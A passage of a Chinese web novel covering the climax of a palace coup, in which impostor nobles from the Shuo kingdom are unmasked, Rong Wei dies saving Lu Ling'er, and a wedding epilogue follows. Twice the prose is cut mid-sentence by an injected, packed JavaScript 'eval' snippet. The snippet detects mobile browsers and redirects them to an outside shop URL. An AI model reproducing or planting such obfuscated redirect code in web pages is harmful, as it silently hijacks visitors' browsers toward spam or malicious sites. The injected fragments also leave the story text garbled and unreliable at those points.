她越想越心惊,浑身无力根本无法站立。 而此时,她的“父亲”正一步一步走上前来,经过她身边也没有停下脚步,还是容玮倾身上前,将她扶了起来。 “玮儿……” 她看着眼前的儿子,话堵在嘴边不知怎么开口,他是什么时候知道这件事的?为何从来都未同她提起过? 只是此刻容不得她多言,耶律良翰已径直走到宁帝等人身前,而“安帝”也随之起身,与他们汇合到了一处。 薛太后凤目扫向四周叛军,随后目光定于眼前: “你果然是耶律良翰,那你——” 她将目光一横,狠狠砸在“安帝”身上: “你又是谁?” “安帝”这么多年屈于薛太后势力之下,此时也终于挺直腰板,冷冷笑出声来,朝对面几人朗声道: “我乃朔国三王子耶律英吉!” 耶律英吉这个名字,在场大多数人都没怎么听过,只有个别对朔国较为熟悉之人才知,这个三王子也同平南王一样,三十多年前便不知所踪,彼时他还只是个半大少年。 也就是说,他从少年时期就来到了安国? 所有人都惊出了一身冷汗,尤其是安国这边的人,他们打死也想不到,在位三十余年的皇帝,竟是朔国人假扮的。 他们之中还曾有人诟病薛太后不肯放权,今日才知薛太后此举是多么的英明神武,若非如此,根本不敢想象安国会变成什么模样。 薛太后只一细想,一切便都已明了: “朔国人,好大的野心!当年先安帝遇难,也是你们做的?” “不错!” 时至今日,耶律英吉终于不用再看薛太后脸色,他得意地笑道: “先安帝与你在半路遇伏,甚至穆玥跟着你们一道上战场,都是出自我们的手笔。” 原来,朔国从多年起便有了吞并中原的计划,只是他们虽擅骑射,却囿于天险阻隔,难以攻陷中原。 三十余年前,朔国出了位大巫师,能用药水将年龄相仿的两人容貌置换,朔国皇帝便以此制定了一个换国计划。 当年朔国王族之人,无人与先安帝年龄相仿,只有三王子耶律英吉,与安国皇子穆明年岁相近,便由他执行了安国的计划。 他由朔国第一谋士陪同,两人一起潜入安国,找到机会换了穆明的脸,杀了他取而代之。 当年先安帝与薛太后一心想统一中原,他们便利用这一点推动两人亲征,又哄骗穆玥藏于车中一同上了战场。 这一切进行得相当顺利,只要这三人都死在了伏击之中,他们便可将安国直接收入囊中。 只是没想到,这一战先安帝虽死,薛太后却回来了,若只是如此也便罢了,关键那朔国第一谋士,竟在此时意外身亡。 耶律英吉此人徒有野心,能力却是有限,失去最大助力之后,仅靠自身根本无法掌控偌大一个国家,哪怕后期他又招揽了不少人才,都始终无法从薛太后手中夺权。 此刻他多年夙愿即将达成,毫不掩饰脸上的志得意满。 他身边的耶律良翰,同样也是踌躇满志,望向对面几人冷笑道: “两国会盟,共讨朔国?真是可笑至极!今日之后,安宁两国,皆归我朔国所有!” 他隐忍了三十余年,终于盼到了今日! 宁帝与容砚悄然互换了一下眼色,然后开口道: “既如此,你为何又会用闵宏达的身份?” 宁帝此番发问不光是拖延时间,他也的确没太想通,耶律英吉都知道将身份置换为安国皇族,耶律良翰其文韬武略更胜一筹,为何偏偏要用一个宁国文臣的身份。 他的年龄与先宁帝接近,若是当年直接换了去,宁国怕是早已归了朔国。 提起此事,耶律良翰脸色骤然沉了下来: “哼,当年皆因一场意外,否则哪论得到你来当宁国皇帝!” 他低敛下垂的眼皮,目光倨傲地扫过众人,终是开口道出了当年往事。 反正这些人都活不过今晚,索性让他们死个明白。 当年他何尝不想直接换了先宁帝,朔国皇帝派他来宁国,也正是此意。 他假意归降,暗中与先宁帝相见,并将那置换容貌的药水混入了茶壶之中。 这药水使用起来可是有条件的,不仅需要年龄接近,还需两人同时服下,前后不能超过半刻,否则便会失效,且一生只有一次置换机会。 眼看先宁帝杯到嘴边,他也及时喝下了自己这份,准备三天后取而代之,可偏偏就在这时,闵宏达有事急奏,先宁帝那杯茶便没有喝下去。 先宁帝见闵宏达情急口渴,从壶中赏了他一杯茶,耶律良翰还来不及阻拦,茶已进了闵宏达的腹中。 刚好闵宏达也是同龄之人,阴差阳错之下,他与闵宏达交换了容貌,事已至此,他只能在三天之期到来之前暗中杀掉闵宏达,并以他的身份留在了宁国。 他没有耶律英吉那般的好运气,无法一步到位成为帝王,但多年来不断在设法朝帝位靠近。 他扶持容朗为帝,送女儿进宫成为贵妃,还有了容玮这个外孙能一争储君之位。 此外,他与朔国也一直通过密信联系,十年前,又故计重施用朔人置换了信国公,并用密信告之朔国。 谁知正是这封密信,被先太子容珏所截获,他筹谋了多年,绝不能让外人知晓他的秘密,反正迟早要对付容珏,便提前对其下了手。 他与朔国联合做出容珏谋逆的证据,更在其关押期间暗做手脚造成其自缢的假象,也是这时,他才知道那封密信已被容珏交给了陆致远。 他找人在陆府搜寻无果后,索性将其全家一起灭了,以绝后患。 只是不曾想,还留下了个陆铃儿,坏了他许多事,不过也都不重要了,今日之后,世上将不会再有这些人的痕迹了。 耶律良翰讲了这么多,其实也不过在少时之间,那冰冷的话语,令对面几人皆为之汗毛一竖。 尤其陆铃儿,纵使她早已知晓陆家是因这样一封信而被其灭口,今日亲耳听他此言,还是会感到阵阵地发寒,心也被揪得疼痛不已。 不止是她,就连离耶律良翰不远的闵贵妃,此时在容玮的搀扶下,也如失了魂一般不安。 她越听心越凉 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与其如此,不如索性一搏,借此机会除掉容砚、抢回陆铃儿。 况且,外祖还说,成事之后,会让父皇—— “让位给徐王!” 耶律良翰看得明白,一旦走出这里,他的身份还是宁国宰相,宁帝即便要退位,也万没有让位给宰相的道理。 此时将皇位给徐王容玮才最为妥当,至于其他,可以下一步再说。 宁帝眼泛寒光,深深注视着容玮,他千防万防,没想到真正背叛他的,是这个他曾经最为疼爱的儿子。 只见容玮听得此言上前一步,朝他深深一揖: “请父皇下旨!” 宁帝沉默不语,身前护着他的容砚却开口了: “徐王,你选错了!” 容玮抬头,与容砚视线相接,两人的目光之中皆是一片暗芒。 陆铃儿实在是忍不住,接着容砚的话继续说道: “徐王,耶律良翰一直在利用你,你被他骗了!” “休得胡言!” 耶律良翰朝她厉声一喝,陆铃儿并不畏惧,径直将密信拿了出来: “方才耶律良翰说了大部分实事,却隐瞒了一个真相——他究竟何时来的宁国!” 耶律良翰闻言脸色一变,稍一示意,陆铃儿身侧的兵将便欲上前抢夺她手中密信,只是刚一抬脚,便僵住了身子。 陆铃儿带的钻山蚤有限,对付这么多人不容易,对付区区个把人还是不在话下的。 “密信早已解开,你一看便知!” 她话一说完,便将密信精准扔到了容玮手里。 耶律良翰阻拦不及,只见容玮接住密信展信一览,脸色瞬间僵住了。 陆铃儿的话音却并未停下: “密信中说,朔王三皇子耶律英吉虽为安帝,但始终未掌实权,耶律良翰这才来到宁国另寻他路。” “他以闵宏达之姿站稳脚跟,又安插朔人取代了信国公,愿再来些朔人助力于他,届时,天下将皆归朔国所有。” “也就是说,耶律英吉去安国在前,耶律良翰来宁国在后!” 耶律英吉登基为安帝是在三十四年前,那么耶律良翰只会比之更晚,而容玮的母亲闵贵妃,可不止三十四岁。 容玮,根本不是耶律良翰的外孙,而是真正的闵宏达外孙! 此刻容玮也从密信中抬头,望向耶律良翰的眼中满是惊怒: “你……骗我?” 83. 第 83 章 容玮既惊且怒,满眼的不可置信,耶律良翰,竟不是自己的外祖? 非但不是外祖,还是杀害他真正外祖的仇人! 当初他口口声声,称来到宁国之后才成家立业,此番联合安帝逼宫,夺下宁帝之位也只会交给自己,毕竟自己身上同样拥有朔国王族的血脉。 直到此刻,容玮才知道这一切是场彻头彻尾的骗局,他明明可以堂堂正正去争皇位,却被耶律良翰拉上了贼船,走上了谋逆的道路。 他果然是选错了,认贼为亲,可笑可恨! 容玮脸色几经变幻,场上的金吾卫拿不准他的态度,一时之间也不敢再动,皆手执刀剑等候他的指令。 眼看情况就要生变,耶律良翰急急朝容玮道: “切勿中了他们的离间之计!老夫待你尤胜亲孙,争夺宁帝之位也是为了你!” 他时运不济,没能直接与先宁帝置换容貌,顶着闵宏达的模样暗中筹谋三十年,今日眼看就能逼得宁帝退位,绝不能容许事情生变。 如今朔国大巫师已经故去,换脸药水也已绝迹,他无法让闵亨换了容玮的脸,只能让容玮接下帝位,成为他的傀儡皇帝,此后再要操作起来,便会简单得多。 只是容玮听他这声“尤胜亲孙”,眼底的寒意更甚了几分。 耶律良翰这个老匹夫,果然自始至终都在利用他! 就在两人关系岌岌可危之时,容砚身侧的一个侍从,悄然朝他使了个眼色,他们的人,已经到了。 容砚只轻轻一挥手,霎时之间,破空之声四起,箭雨朝着围住众人的三国叛军袭来。 场中的这些叛军,显然没料到在他们的合围之下,还会有其他兵马到来,他们还没看清对方人在何处,便纷纷中箭倒地。 与此同时,一支隶属于宁国的军队将此地里里外外全都围了起来,他们的人数更胜于三国叛军,朝着主位的方向一路厮杀。 而宁帝身后的龙卫也趁金吾卫等候指令之际,一剑挑开他们的利剑,将宁帝重新护在了身后。 薛太后显然也留有后招,只见在这支宁国军之后,还有一队安国亲兵,这两支军队皆是两国精锐,对阵叛军势如破竹,尤其对那些身着异装的朔军,拼杀起来毫不手软。 原来,从破解密信的那天起,容砚便布署好了一切,只等耶律良翰在两国会盟上显露狐狸尾巴。 如今他手握靖州军权,早在会盟开始之前便令靖州军设伏于此,为避免打草惊蛇,他们暗中埋伏在较远之地,三国叛军不熟悉地形,完全不知在他们身后还有另外的军队。 直到容砚二人向宁帝展示密信,算准耶律良翰动手的时机发出暗号,靖州军这才联合薛太后的安国亲兵一同出动,杀叛党一个措手不及。 靖州军本就是宁国最能打的队伍,此时更是军心稳固、上下一心,完全臣服于容砚,斩杀叛军当然不在话下。 这突如其来的变故,令登上主位的这几个叛党心惊不已,他们震惊地盯着容砚等人,万没想到在叛军的严密监视之下,还会有安宁国两的军队埋伏在后。 “好一招螳螂捕蝉、黄雀在后!” 耶律良翰此时也顾不上同容玮虚与委蛇了,他老眼发狠地盯住容砚,怪不得这个贱种今日会演这一出认亲伸冤的大戏,原来全都在这儿等着! 他只恨没能早日将其除掉,今日坏他大事,实在该死! 趁靖州军还没攻到主位上来,他大手朝宁帝薛太后几人一指,对身后的叛军下令道: “杀了他们!” 今日是他失策,根本不该同他们废话,如今虽错失良机,但只要先下手杀掉对面几人,他尚有翻盘的机会。 叛军除金吾卫外,全听他指令攻了上去,他们不是靖州军的对手,但若能率先拿下宁帝与薛太后,便能拼得一线生机。 容砚与陆铃儿一人护宁帝一人护薛太后,与近身攻来的叛军打到了一处。 容砚此前蜇伏多年,今日展露真正的身手,叛军即便成群围攻也难以抗衡,而陆铃儿这边,相对就要吃力不少。 耶律良翰几人为了防她,提前穿上了护甲,她无法用“钻山蚤”一招擒住他们,且“钻山蚤”数量有限不足以应对众多的叛军,她翻出精钢铁伞,抵挡着叛军的攻击,将薛太后牢牢护在身后。 趁着一轮叛军被击退,薛太后在她身后轻道一声: “丫头,玉佩先借哀家一用!” 陆铃儿不明所以,但还是将腰间玉佩一把取下递到了薛太后手里。 正在此时,又有安国龙卫攻了上来,他们曾立下血誓,一生听令于安帝一人,只要耶律英吉还是安帝,他们便得无条件听令于他。 薛太后无惧他们的攻势,高举玉佩喝道: “玄鸟抱月白玉佩在此,还不速速停手!” 只一瞬间,安国龙卫便停下了攻势,他们震惊地看着眼前的玉佩,接着纷纷跪倒在地。 原来这玄鸟抱月白玉佩,本是历任安帝之物,龙卫见此玉佩如同见君,当年先安帝临死之前将玉佩交给了穆玥,本是希望她能找到龙卫护其周全,可惜她一路颠沛流离,终究未曾得见龙卫。 耶律英吉从头至尾就没见过这块玉佩,根本不知其作用,当然也就不懂它对于安国龙卫有多重要,此时见龙卫们跪倒,他也傻了眼: “你们要干什么?” 殊不知,安国龙卫本就对此次叛变心生抗拒,方才得知安帝是朔国人假扮的,更是不愿再听耶律英吉之令,只是碍于他安帝的身份,龙卫们这才敢怒不敢言。 眼下薛太后手执玄鸟抱月白玉佩,他们谁还再听耶律英吉的,当然是以薛太后马首是瞻。 只听薛太后朝他们下令道: “杀了这些朔国蛮子!” “是!” 安国龙卫士气高涨,起身将刀剑对准了正欲攻向薛太后的朔国士兵,他们要向薛太后证明,他们并未背叛安国。 陆铃儿这方战况瞬间扭转,她松了一口气,回身看向薛太后,她万没想到,容砚送给她的定情信物,居然能够调动安国龙卫。 这样贵重之物,应交还于安国掌权之人才更为妥当。 薛太后却摇了摇头,将玉佩再次递到了陆铃儿手里。 当年她那个好外孙也曾想将玉佩归还于她,但她并未收回,就现在这样,其实也挺好,陆铃儿这个丫头,她很喜欢。 陆铃儿珍重地接过玉佩,眼见靖州军已离主位越来越近,她又将目光投向了主位另一方。 宁帝这边,宁国龙卫将他紧紧护住,容砚也在他身前抵御住攻来的叛军,而耶律良翰几人站在对面,看向他们的眼眸却是神色各异。 不论是孤注一掷的耶律良翰与信国公,还是刚刚失了安国龙卫的耶律英吉,皆是企盼着叛军能攻得再猛烈一些,好在靖州军到达主位之前一举拿下宁帝父子。 容玮母子则是一脸的惊怒迟疑,金吾卫也因此迟迟未有动作。 陆铃儿冷哼一声,这几个冒牌货搞出这么多的事,怎还有脸好端端地站在这里? 阿砚抽不开身,那就让她来会会他们! 她将精钢铁伞交至薛太后手里,一边朝着前方迈步,一边转手翻出一个小罐,拔开盖子朝耶律良翰几人脚下灵巧一泼。 这几人身侧有叛军相护,见陆铃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13312684|121347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿动手,皆以为是暗器而去格挡,谁知她泼出来的只是水,而且是有些怪异的水。 那水一经沾地,竟一下变得湿滑无比,根本站立不稳,叛军们脚步一滑,纷纷摔倒在地。 耶律良翰几人见护卫的叛军倒下,心下一慌,顿时乱了脚下的步伐,鞋底一溜也重重摔在了地上。 只有容玮与闵贵妃,他们从得知真相起便停下了动作,双方打起来也未动身形,此番面对这地上的滑剂,也仅有他二人未曾摔倒。 除他们之外,其他人的模样都显得十分狼狈,龇牙咧嘴地倒在地上,半天爬不起来。 陆铃儿轻笑一声,刚刚她泼出去的,是她自己研制的“油光水滑”剂,当初缉拿采|花大盗今日欢,便是用它让今日欢一进屋就差点摔个大马趴。 没想到时隔这么久,她在今晚又用上了。 她巧手一翻,便见三条“神仙索”朝着地上那三个朔国冒牌货飞了过去。 耶律英吉与信国公二人躲避不及,被那绳索捆了个结结实实,任旁边的叛军怎么解也解不开,即便用刀剑砍也是徒劳。 要知道,陆铃儿的“神仙索”可是被她后期改良过的,寻常武器难伤分毫,此时被它捆住,哪能挣得脱? 然而耶律良翰却是个有本事的,哪怕年龄上来了,身为朔国平南王的那点武艺还没丢掉,此前那些颤颤巍巍的老态,只是在装模作样而已。 方才一倒地,他便知事有不妙,必须尽快起身,就在“神仙索”朝他飞来的瞬间,他扯着地上的叛军站了起来,踩在他们身上躲开了陆铃儿的攻袭。 看着地上的“神仙索”,以及被绳索捆住的另外两人,他目露凶光,朝陆铃儿狠狠瞪去。 陆铃儿,又是这个陆铃儿,一次又一次坏他好事! 她不但解了密信,提前与容砚在此演了一场大戏,还在三言两语间令容玮与他离了心,甚至还握有能调动安国龙卫的玉佩。 早知如此,他就不该默许容玮的一念之私,对她网开一面没有继续赶尽杀绝,今日拜她所赐,他的计划,全完了! 他斜目一扫四周,靖州军即将杀上主位,容砚已将叛军逐一逼退,安国亲兵也杀得朔军丢盔弃甲,他的失败,已成定局。 既如此,不如干脆拼个鱼死网破! 此刻对方离他最近的,不是宁帝与薛太后,也不是容砚,正是放出绳索来捆他们的陆铃儿。 刚巧,这个陆铃儿不但是坏事的祸害,还是容砚的软肋,如今又握有安国龙卫,拿下她便能同时拿捏安宁两国命脉,甚好,甚好! 他沉下眼眸,迅速从怀里掏出一个暗盒。 这是朔国大巫师赠他的“骤雨落”毒针,只要在射程内对准人按下机关,暗盒里的毒针便会如骤雨一般射出,其速度快到惊人,又急又密,根本无力躲避。 此针只能用三次,当年他杀闵宏达、信国公各用了一次,今日,正好用上这最后一次。 他将暗盒机关对准了刚刚放出绳索,还来不及出第二招的陆铃儿。 她不仅正好在“骤雨落”的射程范围内,用来防御的精钢铁伞还给了薛太后,手中没有任何武器,完全无法避开又多又迅猛的毒针。 而容砚刚刚击退叛军,离陆铃儿还稍有些距离,就算想要飞身前来救援也已经来不及,只能眼睁睁看着她身中毒针而死。 耶律良翰耷拉的嘴唇一撇,眼中蓄起狠厉的笑意,指尖一用力,朝陆铃儿按下了暗盒上的机关。 今日终败垂成,有她陪葬倒也不亏,他都有些迫不及待,想要看到容砚这个小贱种失去爱人的悲怆模样了。 陆铃儿,受死吧! 84. 第 84 章 容砚甫一见到耶律良翰拿出暗盒,旋即变了脸色,他一脚踢开前方的叛军,一边朝陆铃儿飞身而去,一边急急喊道: “小心——” “骤雨落”毒针速度迅猛、毒性极强,他以为此物早已失传,万没想到耶律良翰居然藏下了一盒,还将它对准了陆铃儿。 偏巧陆铃儿的精钢铁伞又交到了薛太后手里,眼下这个距离,毒针一经发出,不论是他还是陆铃儿,都难以一举将其拦下。 陆铃儿刚刚放出“神仙索”绑了耶律英吉与信国公,见耶律良翰逃脱,心中正在懊恼,便见耶律良翰拿出一个暗盒对准了朝自己。 耳边传来容砚的呼喊声,陆铃儿心一下惊,手中正欲翻出道具来抵挡,却发现耶律良翰手中暗器并未袭来。 再定睛一看,耶律良翰竟已被人扑到在地! 此时容砚也匆匆赶到陆铃儿身边,将她紧紧揽住,他的俊脸有些发白,声音明显有一丝慌: “陆铃,你怎么样?” 今日一切皆在他的计划之内,唯独这“骤雨落”,超出了他的预料。 陆铃儿从容砚的紧张中,已经看出耶律良翰手中的暗盒绝非简单之物,她轻轻摇头,给了他一个安心的笑容: “我没事,别担心。” 其实她此刻也是一阵后怕,方才的变故发生得太快,若不是有人及时将耶律良翰扑倒,她也不敢保证,转手翻出道具的速度就能快过那暗器。 容砚见她无事,这才放下揪紧的心弦,与她一道将目光投向了耶律良翰。 原来,将他扑到的不是别人,正是一直站在他身后不远处的容玮。 容玮自得知耶律良翰并非自己外祖,而是在利用自己之后,他便内心崩溃,滞住了身形。 他本是身份尊贵的皇子,却受耶律良翰蒙蔽,认贼为亲走上了谋逆的道路,即便是今日功成,宁帝让位与他,他也只会沦为耶律良翰的傀儡而已。 更何况,如今败局已定,他的下场,绝对好不到哪里去。 他选错了,如今走上不归路回不了头,只能先按兵不动,稳住金吾卫以免错上加错。 然而当他看到耶律良翰拿出暗盒对准陆铃儿,他还是动了。 他识得耶律良翰的“骤雨落”,只要按下了机关,毒针速度快到惊人,陆铃儿定然会躲避不及。 而他正在耶律良翰身后,除了他,无人能破此局。 他几乎没有考虑,在耶律良翰按下机关的瞬间,径直扑了过去,打翻了耶律良翰手中的暗盒。 那如同暴风骤雨般的毒针,顷刻砸在了他的身上,也砸在了耶律良翰的身上。 待众人的目光看过来之时,两人已身中多枚毒针,双双倒在了地上。 耶律良翰显然没想到容玮会在最后一刻反水,他瞪着耷在眼皮之下的眸子,不可置信地看着扎在身上的多枚毒针,刚想说什么,话语便被口中涌出的毒血所吞没。 完了,一切全完了…… 他颤着手,拭掉唇边血渍,忍着剧痛想要起身,却脚一滑再次摔倒在地。 他已无力再站起身来,老眼之中满是不甘,看着高高的帝座,拼着最后一口气朝前爬去。 想他身为朔国平南王,以闵宏达的身份在宁国筹谋三十年,如今功亏一篑,他不甘心,不甘心哪! 此时靖州军已经攻上了主位,一举拿下叛军,将武器对准了爬向前方的耶律良翰,而耶律良翰却如没看到一般,仍朝着宁帝的座位爬去。 在即将爬到主案前时,他终于用尽了最后的力气,毒血喷涌而出,身子无力地落回了地面,手却依旧不甘地伸向帝座。 直至生命的最后一刻,他最不能释怀的,还是没有将觊觎多年的皇位收入囊中。 而此时躺在地上的容玮,心中终于感到了一丝释然,他仰面看着围上前来的靖州军,不顾身上的剧痛只想放声大笑,却被喉间的毒血呛得咳了起来。 正在咳嗽间,陆铃儿已与容砚一道,走到了他的身边。 见到那张令他朝思暮想的容颜,他的思绪不知怎的就回到了小时候。 他自幼身份尊贵,所有人都对他毕恭毕敬,如同戴着假面围绕在他身边,直到他见到如阳光一般灿烂的陆锦,方才知道这世间也有这样真挚明媚的笑容。 那笑容让他记了一辈子,她却一辈子都没有给过他真心。 事到如今也无所谓了,他错上贼船无法回头,能在临死前能救下此生最为在意之人,同时杀了害他真正外祖的仇人,他已没有遗憾了。 双眼已经开始模糊,他吃力地朝陆铃儿伸手,口中低喃着: “陆铃儿,不要……忘了我……” 随后,他的手便重重砸在了地上,与他口中的话语一道,停止在了这个初春的夜里。 靖州的春夜格外寒冷,天空之中竟渐渐落了雪,雪花飘飘洒洒,落到每一个人身上,激起阵阵凉意。 “玮儿——” 征愣许久的闵贵妃似是终于被落雪惊醒,抬脚奔向容玮,却重重一下滑倒在地。 她顾不得起身,连身爬到容玮身前,只是容玮身中剧毒,已经没了气息。 “玮儿,你别吓母妃,快醒过来啊!” 闵贵妃哭得撕心裂肺,可惜容玮再也听不见了。 雪越下越大,偌大的夜宴现场,只余她的哀号响彻夜空,纵使她们母子犯下大错,此时此刻也无人忍心再去打断她。 陆铃儿看着已经气绝的容玮,眼中有泪水在凝聚。 容玮此人虽是阴晴不定、刚愎自用,对她却是出自真心,今日还用性命护下了她。 她无法回应他的感情,然而经此一役,她也的确如他所愿,不会再忘记他了。 泪水流下之前,一双温柔的手已替她轻轻拭去: “他今日护下你,又除了耶律良翰,想来已是心中无憾。” 容砚不忍看到陆铃儿难过,他从来与容玮都不对付,尤其牵涉到陆铃儿,两人更是势同水火,但唯有此刻,他是真心感谢容玮。 陆铃儿抬头望向他,轻轻点了点头。 容玮今日以命相搏,想来宁帝也会体谅他受人蒙蔽,准予他厚葬的。 容砚见陆铃儿释怀,也舒了口气,他轻轻抬手,拂去陆铃儿头顶的雪花。 今日所有的阴谋已尽数除去,所有的屈枉,也终于沉冤昭雪,他们心中最深的伤痕,皆已抚平。 从今往后,他们将不再背着过去负重前行,只会共同携手,走向更加美好的未来。 大雪落处,叛党全数剿灭,会盟夜宴也在这一片飞雪之中,真正落下了帷幕。 看着被拿下的耶律英吉父子,薛太后感怀般地轻叹了一声。 今日总算是将先安帝与玥儿的冤屈昭告天下,接下来等候耶律英吉的,将是整个安国愤怒沸腾的民意,他们父子,必将生不如死。 她再将目光转向了容砚,与这个亲外孙相视一笑。 他们祖孙相认,并不是在今日,早在数年前容砚在安国为质之时,她便已认出了他。 那时她还恨着宁国,认回外孙之后,对宁国的恨意又深了一层,希望容砚留在安国,与她里应外合灭了宁国。 然而她这个外孙却是不领情,他顾及两国百姓,不愿征战,还一心想要回宁国追查什么冤情。 彼时她哀其不幸怒其不争,一气之下让容砚回了宁国。 可她终究放心不下这个唯一的亲外孙,一直密切关注着他,甚至还动用了她多年前放在宁国的一步暗棋——吏部尚书温正奇。 她通过温正奇得知容砚创立了解忧阁,为民解百忧、以民得天下,心中的执念逐渐动摇,便让温正奇给容砚释放一点信号。 温正奇也是个妙人,他虽身为主和派,有些话还是不便直言,偶然间看到女儿温葭《青梅曲》的手稿,便将薛太后的信号暗藏进了这篇话本之中。 其他人看此话本,只道是一个动人的爱情故事,但只有容砚才能看懂,这个故事写的是他,而故事里的暗中帮忙男女主的角幻境之主,便是指代的薛太后。 故事暗示了薛太后愿意帮他夺取权力为母复仇,同时也释放了平和的信号,容砚这才与她再次建立联系。 眼看着容砚一步一步展露身手,她也一天比一天释怀,直到那一天,她收到了容砚的发来的密报,才知道所有的一切,皆源于朔国的阴谋。 他们商量好了对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340267|121347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 策,在会盟夜宴之上以祖孙相认为起点,一步一步揭开阴谋、平反冤屈,同时提前安排好安国亲兵埋伏在安宁苑外,与容砚的靖州军一道平乱叛军。 今晚不在她预料之内的,便是她那个大方的外孙,将玄鸟抱月白玉佩送给了陆铃儿,不过也罢,陆铃儿这丫头,她也很喜欢,反正以后安国龙卫也会交到他们手时,送了便送了吧。 此时宁帝已命人将冒牌信国公拿下,待他侧目回望之时,薛太后与容砚的表情没有逃过他的眼。 这祖孙二人,果然早已暗中通过气了,今日这么一场大戏,偏把他一人瞒在鼓里,容砚这个逆子,好得很! 就在他心中气恼之时,薛太后已行至他的身边: “今日之事并非有意隐瞒,但耶律良翰与冒牌信国公在你身边潜伏已久,你一但有所动作,他们必将警觉。” 宁帝与薛太后不同,薛太后只需要盯住一个不能亲政的耶律英吉,但宁帝身边,却有耶律良翰与冒牌信国公一文一武两个人。 若是容砚提前将今日一切告知宁帝,宁帝一但调兵,势必会惊动信公国,以及他身后的耶律良翰。 而容砚手上的靖州军直接听令于容砚,再加上会盟正是在靖州召开,只要暗中调动,耶律良翰二人便难以发现端倪。 宁帝这才点了点头,扫向容砚的目光少了几分冷峻。 薛太后的话却并未停下,她继续说道: “如今耶律英吉父子已经受俘,安国再无先安帝血脉。” 的确,先安帝早亡,只有穆玥与穆明两个孩子,他们也早已身故,安国的确后继无人,或许只能从宗室中选取继承人了。 只是,这些都是安国内部之事,宁帝有些不明,薛太后为何要说与他听。 “所以哀家将会先行接管帝位,待哀家百年之后,将会将安国交与先安帝仅剩的血脉,即哀家的外孙,容砚。” 薛太后的声音很小,仅他们二人可闻,但她的话却震得宁帝双眼圆睁,张着嘴半天说不出话来。 不论是薛太后要当女帝,还是她今后要传位给容砚,在宁帝看来,全都是离经叛道之事。 薛岚这个老太婆,今日这是疯了不成! 殊不知,安国本就不重男女而重嫡庶,耶律英吉顶着穆明的面容继位也便罢了,偏能力还不行,这么多年朝事仍需薛太后亲力亲为。 安国朝中,早有不少人想废了穆明拥立薛太后为女帝,如今正好是时候。 而不选宗室而选容砚作为继承人,薛太后也自有考量: “你不必惊讶,容砚不仅是先安帝的血脉,更是身负两国皇室血统,这么多年来,哀家一心执着于一统中原,如今看来,这何尝不是统一。” 此言一出,宁帝突如醍醐灌顶,呆呆立在了当场。 一瞬之间,他明白了天机的真正意义是什么。 原来,宁国气数已尽,并非山河破灭,而是中原一统,两国合为一个大国! 他们百年来未曾敢想之事,在今日的机缘之下,居然就要成为现实! 他的神色几经变幻,最后终于点头笑道: “如此,甚好,甚好啊!” 他的目光再次投入容砚,彼此会心一笑。 大雪纷纷扬扬,容砚与陆铃儿并肩执手而立,从今往后,他们便是安宁两国的希望,也是整个中原的希望。 两国会盟结束之后,薛太后果然如她所言,回安国肃清了耶律英吉一派,顺利当上女帝。 宁帝也处置了耶律良翰一派逆党,同时封容砚为太子。 徐王容玮受耶律良翰蒙蔽,但能迷途知返、舍身相搏,按亲王的规格予以厚葬。 闵贵妃毒害安国长公主穆玥,谅其对谋逆之事并不知情,且受激过甚失了心智,褫夺其贵妃封号,迁于皇家庄园静养。 七公主容璃未在会盟现场,事后知晓夜宴上的一切也是深受打击,主动请愿陪母亲去了皇家庄园,平淡度过了余生。 宁帝还为先太子与陆家平了反,陆铃儿因在会盟夜宴上救驾有功,被封为县主,赐婚与太子容砚。 这场长达三十多年的争端,终于尘埃落定,安宁两国,也终如其名,真正恢复了安宁。 85. 番外一 今日是宁国太子容砚的大婚之日。 宁国时隔多年终于立下太子,此番大婚,从皇室到民间皆是一片喜庆之色。 太子府内,更是张灯结彩,热闹非凡,直到夜色渐浓,才慢慢退去白日的欢腾。 今日可把陆铃儿折腾得够呛,婚礼上的繁文缛节实在是累人,待各种礼仪走完,天也全黑了。 好在容砚并未让她等太久,两人行完礼,遣走了侍从,喧闹的一天,此刻终于安静下来。 陆铃儿终于舒了口气,她卸下重重的头冠,站起身来活动活动被头饰压了一天的脖子。 原来婚礼这么累人,幸好也就这么一次。 “累了?” 容砚立在她身边,狭长的瑞凤目紧盯着她,见她这般摇头晃脑的模样,不禁扬唇轻笑。 今日的陆铃儿身着嫁衣,那一身凤冠霞帔,加上精致的妆容,与往常全然不同,哪怕此刻取下了头冠,还是美得令他移不开眼。 他记挂了一生的姑娘,今日终于嫁给他了。 “嗯,感觉比之前苦练技艺还累。” 陆铃儿嘟着嘴,以前看人家接新娘,自己光顾着乐呵,今日方知,这些礼节有这么繁琐。 她的小脸微微皱起,配上她今日的妆容,惹得容砚既心疼又心动,他伸手抚住她的脸,垂首就在她的唇间印上一吻: “现在可有好些?” 陆铃儿完全没有防备,吻就这么落了下来,虽然只是轻轻一啄,还是令她脸上瞬间爬上了红潮。 她轻抬杏眸,正好与容砚四目相接。 她知道容砚生得俊美,只是看惯了他平日的一身素色,今日身着喜服的他看起来格外不同,整个人显得热烈又张扬。 方才那一吻下去,他的唇沾上了她的口脂,那一抹淡淡的艳色,看得陆铃儿心又砰砰跳了起来。 他怎会这样的好看,好看到令她不由自主地想要靠近。 陆铃儿红着小脸,在他手心轻轻蹭了几蹭: “好些了。” 今日那些礼节再繁琐,只要想到今后的每一天都将与他携手共度,便觉也没那么累了。 刚这么想着,脸庞的手却悄然落下,将她紧紧圈进了一个温暖的怀抱之中。 